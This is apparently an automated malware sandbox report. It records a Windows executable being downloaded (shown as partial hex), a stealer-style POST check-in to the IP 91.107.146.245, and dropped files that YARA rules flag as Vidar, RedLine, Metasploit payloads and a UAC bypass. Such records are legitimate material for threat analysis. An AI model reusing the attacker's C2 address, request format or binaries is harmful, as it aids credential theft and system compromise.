2024-09-18 12:32:11 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:10 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:32:10 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:32:11 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-18 12:32:11 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-18 12:32:12 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49875	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:13 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:13 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"fe5598dedda3e29ce1b1822bf56a9786------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------JKJDAEBFCBKECBGDBFCFCont
2024-09-18 12:32:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:14 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Target ID:	0
Start time:	08:29:57
Start date:	18/09/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff65e7d0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	08:29:58
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:29:58
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:29:58
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:29:58
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:29:58
Start date:	18/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf00000
File size:	2'459'136 bytes
MD5 hash:	2384147D776A89133C297E95130C100A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:29:59
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7ff75da10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:30:02
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe
Imagebase:	0x810000
File size:	299'936 bytes
MD5 hash:	FEDE424830238CF2C2E661B5CB12E584
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe
Imagebase:	0xe20000
File size:	8'732'672 bytes
MD5 hash:	6C2DB0EF90B27F880A1566DE7711E6C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 0000000D.00000002.1815283104.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
Imagebase:	0x4d0000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe
Imagebase:	0xd00000
File size:	221'600 bytes
MD5 hash:	272B330726DEC4ADD609E0D8025D71B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe
Imagebase:	0xce0000
File size:	331'128 bytes
MD5 hash:	A0C6989730B44EE30722FECCD86D946B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe
Imagebase:	0xab0000
File size:	287'969 bytes
MD5 hash:	64D93F350EB366B3BFAFDB294F78ADB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
Imagebase:	0x400000
File size:	1'555'388 bytes
MD5 hash:	8BC957246166F6B5D99C1B63D34DD663
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe
Imagebase:	0x400000
File size:	3'064'607 bytes
MD5 hash:	7F8B798B110AC4A6898922F87EA59530
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe
Imagebase:	0x27c64c10000
File size:	17'173'136 bytes
MD5 hash:	2422F05C5FD9FD0844A8BDA0A1281C22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.2153566769.0000027C66D64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe
Imagebase:	0x140000000
File size:	11'496'960 bytes
MD5 hash:	D60D266E8FBDBD7794653ECF2ABA26ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe
Wow64 process (32bit):	true
